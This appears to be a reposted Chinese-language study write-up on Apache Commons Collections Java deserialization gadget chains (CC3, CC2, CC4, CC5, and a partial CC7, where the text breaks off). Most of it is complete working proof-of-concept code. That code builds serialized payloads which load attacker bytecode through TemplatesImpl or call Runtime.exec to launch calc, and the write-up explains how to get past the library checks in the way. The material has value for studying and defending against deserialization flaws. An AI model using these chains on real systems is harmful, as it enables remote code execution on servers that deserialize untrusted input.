首先这里遇到的问题就是在getTransletInstance方法里的两个if判断

image-20230321220023834
image-20230321220023834

要让_name不为null,还要让_class为null

这两个都是类里的私有变量,而TemplatesImpl的公共的构造函数是个空函数

image-20230321220203590
image-20230321220203590

也就是说我们只能利用反射的方式来进行赋值了

在defineTransletClasses里也有一个if判断

image-20230321220909684
image-20230321220909684

_bytecodes不能为null,不然会直接抛出异常

而且他还是我们想要执行的恶意类,一个字节的二维数组类型

image-20230321222119461
image-20230321222119461

另外这个_tfactory也不能为空,不然也会报错

image-20230321221000135
image-20230321221000135

这里我们生成一个恶意类的字节码文件

image-20230321222300927
image-20230321222300927

写完后现在的代码为

TemplatesImpl templates = new TemplatesImpl();
// _name赋值不为null
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123");
// _class赋值为null
Field classField = templates.getClass().getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates,null);
//加载恶意类的字节码
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://ctftools/ctfscript/javastudy/CC/src/main/java/org/cc3/cmd.class"));
//转为二维数组
byte[][] codes = {code};
//_tfactory赋值
bytecodes.set(templates,codes);
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();

但是执行后报了空指针异常

image-20230321222918052
image-20230321222918052

在TemlatesImpl的defineTransletClasses方法里,第422行

image-20230321223042602
image-20230321223042602

下个断点能看出来因为不满足if判断,进入了else中,然后又因为_auxClasses的值为空,导致的空指针异常

但是这里我们要选让程序满足if判断的方式,而不是给_auxClasses赋值,因为在下面还有一个对_transletIndex的判断(两个都改了也能弹计算器,而且感觉更简单一点

image-20230321224210163
image-20230321224210163

接下来说一下满足if判断的方式

这里superClass是我们构造的恶意类的父类,所以这个if判断就是让我们恶意类的父类的名称和这个ABSTRACT_TRANSLET一样

这个ABSTRACT_TRANSLET是个被赋值的常量

image-20230321224930251
image-20230321224930251

所以只要让我们的恶意类继承一下com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet就好了

image-20230321225038543
image-20230321225038543

改完后重新编译一下

image-20230321225547734
image-20230321225547734

CC1的利用

现在确定只要调用newTransformer方法就可以加载恶意类

那我们还记得在cc1里InvokerTransformer.transform可以以反射的方式去调用一些其他的方法

image-20230319191708721
image-20230319191708721

所以这里我们以反射调用newTransformer不就行了吗

这里我们改一改CC1的Transformer数组

Transformer[] t = new Transformer[]{
        new ConstantTransformer(templates),
        new InvokerTransformer("newTransformer", null,null)
};

然后前半部分用我们之前构造的,后面用CC1的就行

image-20230321231854359
image-20230321231854359

CC6的利用

既然CC1可以,那CC6自然也可以,改的地方也一样,其余部分不动

image-20230321232250015
image-20230321232250015

CC3调用链

好了,这里回到CC3

这里CC3的作者找到了一个TrAXFilter类

其中的构造函数里调用了newTransformer方法,templates也是可控的

image-20230321230200262
image-20230321230200262

但是这个TrAXFilter类没有实现Serializable接口,所以就不能进行序列化操作。但是就像Runtime也不能进行序列化操作一样,我们可以利用反射把TrAXFilter.class这个可以序列化的传过去,然后找到有函数中调用了类似于c =(a).getConstructor(b);c.newInstance(d)的语句,实现触发TrAXFilter构造函数的目的。

还真就有这样一个类里调用了这种语句

image-20230322152401936
image-20230322152401936

InstantiateTransformer类的transform函数,而且恰巧这些参数我们都能控制。

所以加上这两句

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
image-20230322153150446
image-20230322153150446

接下来就是找怎么去调用InstantiateTransformer的transform函数

其实还是CC1里的东西,既然CC1里可以调InvokerTransformer.transform,那也就可以调InstantiateTransformer.transform

image-20230322153557923
image-20230322153557923

这里的Transformer[]一定要改为下面这个

Transformer[] t = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

如果只用 new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),会由于CC1的transform参数不可控不能构造成InstantiateTransformer.transform(TrAXFilter.class),导致无法在反序列化时有实例化的TrAXFilter类

完整poc

public class cc3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();
        // _name赋值不为null
        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"123");
        // _class赋值为null
        Field classField = templates.getClass().getDeclaredField("_class");
        classField.setAccessible(true);
        classField.set(templates,null);
        //加载恶意类的字节码
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://ctftools/ctfscript/javastudy/CC/src/main/java/org/cc3/cmd.class"));
        //转为二维数组
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
        //_tfactory赋值
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
		InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] t = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(t);
        HashMap map = new HashMap();
        map.put("value","value");

        Map decorate = TransformedMap.decorate(map, null, chainedTransformer);
//
        //创建AnnotationinvocationHandler的类对象
        Class<?> AIH_construct = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //获取构造方法
        Constructor<?> declaredConstructor = AIH_construct.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, decorate);
        ser(o);
        unser();


    }
    public static void ser(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }
    public static void unser() throws IOException, ClassNotFoundException {
        ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
        oi.readObject();
    }
}

对于CC3

入口类是AnnotationinvocationHandler

执行类是TemplatesImpl

AnnotationinvocationHandler.readObject

AbstractInputCheckedMapDecorator.setValue

Transformed.checkSetValue

ChainedTransformer.transform

ConstantTransformer.transform

InstantiateTransformer.transform

TrAXFilter

TransformerImpl.newTransformer

TransformerImpl.getTransletInstance

TransformerImpl.defineTransletClasses

TransformerImpl.defineClass

CommonsCollections4.0

因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。

4.1版本:

image-20230323203633151
image-20230323203633151

CC2和CC1一样,最后的都是到InvokerTransformer.transform方法

所以前边这部分是一样的

Transformer[] t = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"cmd","/c","calc"}})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);

接下来去找哪调用了transform方法

这里调了TransformingComparator的compare方法

image-20230323205535754
image-20230323205535754

这个transformer是可控的,构造函数里可以直接传

image-20230323205601567
image-20230323205601567

然后去找一下哪里调了compare

在PriorityQueue类的siftDownUsingComparator方法里

这个虽然是私有的,但是在PriorityQueue类的readObject方法里调了heapify方法,heapify方法又调了siftDown,然后在siftDown里实现了对siftDownUsingComparator的调用

image-20230323210141383
image-20230323210141383

不过这里有两个if判断

image-20230323211613218
image-20230323211613218
image-20230323211623496
image-20230323211623496

第一个if需要(size>>>1)-1>=0,为2就行

image-20230323211825789
image-20230323211825789

然后这里调两次add,就可以实现让size为2的目的

image-20230323212049514
image-20230323212049514

这个comparator也可以控制,也是我们必须要写的参数,所以第二个if可以忽略了,(TransformingComparator实现了Comparator接口,所以这里边可以写TransformingComparator

image-20230323210546768
image-20230323210546768

这里可以先写个poc了

public class cc2 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Transformer[] t = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"cmd","/c","calc"}})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(t);
        TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(2, transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(1);
        ser(priorityQueue);
//        unser();

    }
    public static void ser(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }
    public static void unser() throws IOException, ClassNotFoundException {
        ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
        oi.readObject();
    }
}

但是这里序列化的时候也弹计算器了,原因就是在第二次add的时候,不满足if判断进了siftUp里,然后在siftUp里也有个siftDownUsingComparator,导致提前执行了命令

image-20230323212731526
image-20230323212731526

这里就要用我们熟悉的反射了

最终poc

package org.cc2;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc2 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] t = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"cmd","/c","calc"}})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(t);
        TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(2, transformingComparator);
        Class aClass = priorityQueue.getClass();
        Field size = aClass.getDeclaredField("size");
        size.setAccessible(true);
        size.set(priorityQueue,2);
//        priorityQueue.add(1);
//        priorityQueue.add(1);
        ser(priorityQueue);
//        unser();

    }
    public static void ser(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }
    public static void unser() throws IOException, ClassNotFoundException {
        ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
        oi.readObject();
    }
}

这里计算器会弹两次,因为compare里调了两次transform

cc2的链挺短的,也挺简单

执行类是InvokerTransformer

入口类是PriorityQueue

PriorityQueue.readObject

PriorityQueue.siftDownUsingComparator

TransformingComparator.compare

InvokerTransformer.transform

cc4像是cc2和cc3的缝合品

使用了cc3的加载字节码的执行方式,但是前半部分用了cc2的链子

所以这里不分析了,简单写一下调用链

PriorityQueue.readObject

PriorityQueue.siftDownUsingComparator

TransformingComparator.compare

ChainedTransformer.transform

ConstantTransformer.transform

InstantiateTransformer.transform

TrAXFilter

TransformerImpl.newTransformer

TransformerImpl.getTransletInstance

TransformerImpl.defineTransletClasses

TransformerImpl.defineClass

image-20230323214856492
image-20230323214856492
package org.cc4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        TemplatesImpl templates = new TemplatesImpl();
        // _name赋值不为null
        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"123");
        // _class赋值为null
        Field classField = templates.getClass().getDeclaredField("_class");
        classField.setAccessible(true);
        classField.set(templates,null);
        //加载恶意类的字节码
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://ctftools/ctfscript/javastudy/CC/src/main/java/org/cc3/cmd.class"));
        //转为二维数组
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
        //_tfactory赋值
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        Transformer[] t = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(t);
        TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(2, transformingComparator);
        Class aClass = priorityQueue.getClass();
        Field size = aClass.getDeclaredField("size");
        size.setAccessible(true);
        size.set(priorityQueue,2);
        ser(priorityQueue);
        unser();

    }
    public static void ser(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }
    public static void unser() throws IOException, ClassNotFoundException {
        ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
        oi.readObject();
    }
}

CC5的环境又回到了CommonsCollections3

CommonsCollections1和CommonsCollections3因为AnnotaionInvocationHandler入口在jdk8中代码被修改了导致不能使用,所以CommonsCollections5换了一个入口,在调用链的构造中,也新加了一个TiedMapEntry作为中转。

CC5的后半段就是从LazyMap.get到InvokerTransformer.transform

这里和LazyMap链一样就不细说了,这里就说说前半段,要找到调用get方法的类,在CC6里我们用的是TiredMapEntry类的getValue方法,在CC5里也是它,但是在CC6里用的是它的hashCode

方法来调用getValue方法,而在CC5里用的是它的toString方法

image-20230323220204497
image-20230323220204497

然后就去找有没有调用toString的(这个可太多了

在CC5里找的是BadAttributeValueExpException类的readObject方法

image-20230323220540847
image-20230323220540847

这里简单说一下readObject里的内容,要想到toString,就要满足两个if判断,首先val不为空,其次判断valObj是否是String类的实例或者是子类实例,如果都不满足,就进入最后一个elseif里调用valObj.toString,所以这里让valObj为TiredMapEntry类的就行了,这个在实例化的时候可以赋值

理想poc

public class cc5 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        Transformer[] t = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(t);
        Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
        ser(badAttributeValueExpException);
        unser();
    }
    public static void ser(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }
    public static void unser() throws IOException, ClassNotFoundException {
        ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
        oi.readObject();
    }
}

但是实际上上边的poc在序列化过程会执行命令,但是在反序列化过程中反而不会执行

原因就是在的构造函数里BadAttributeValueExpException

public BadAttributeValueExpException (Object val) {
    this.val = val == null ? null : val.toString();
}

可以看到在构造的时候就已经调用了toString函数导致了命令执行,并且还改变了val的值,导致无法在反序列时执行

这里也是用反射,在实例化BadAttributeValueExpException对象时放个空值,然后再把里边的val值改了就行

最终poc

package org.cc5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        Transformer[] t = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(t);
        Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
        Class aClass = badAttributeValueExpException.getClass();
        Field declaredField = aClass.getDeclaredField("val");
        declaredField.setAccessible(true);
        declaredField.set(badAttributeValueExpException,tiedMapEntry);
        ser(badAttributeValueExpException);
        unser();
    }
    public static void ser(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }
    public static void unser() throws IOException, ClassNotFoundException {
        ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
        oi.readObject();
    }
}

CC7的后半部分还是调用lazymap的get方法然后到InvokerTransformer.transform

但是与其他的cc链不同,cc7利用AbstractMap的equals方法来调用lazymap的get方法

image-20230323230014807
image-20230323230014807

这里只要控制m是lazymap类的对象就可以了,这个m也就是我们传入的o

然后再去找调用了equals方法的类

cc7里用的是HashTable类的reconstitutionPut方法

image-20230323230621690
image-20230323230621690

这里的key是我们可控的,在HashTable的readObject方法里

image-20230323231044314
image-20230323231044314

这个key是从readObject方法里拿到的,那writeObject里应该也有

image-20230323231233055
image-20230323231233055

这里的话他进行序列化,首先写入了table的长度以及table的元素个数,然后取出table中的元素,放入entryStack,这里其实就是栈,然后把栈里面的每个元素用writeObject写入。

很明显了,这里传递的实际上就是HashTable#put时添加进去的key和value。

那么也就是说key是可控的,key可控所以e.key.equals(key)也可控

那么m就是我们可控的,然后达到调用lazymap.get的目的

编写poc

虽然调用链已经弄清楚了,但是在编写poc之前还有几个要注意的地方

1.首先创建的Hashtable对象至少要put两次

因为第一次put时table里是空的,不会进入if判断,而在第二次时,第一次的数据已经进入了table,这时候才会进入if


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK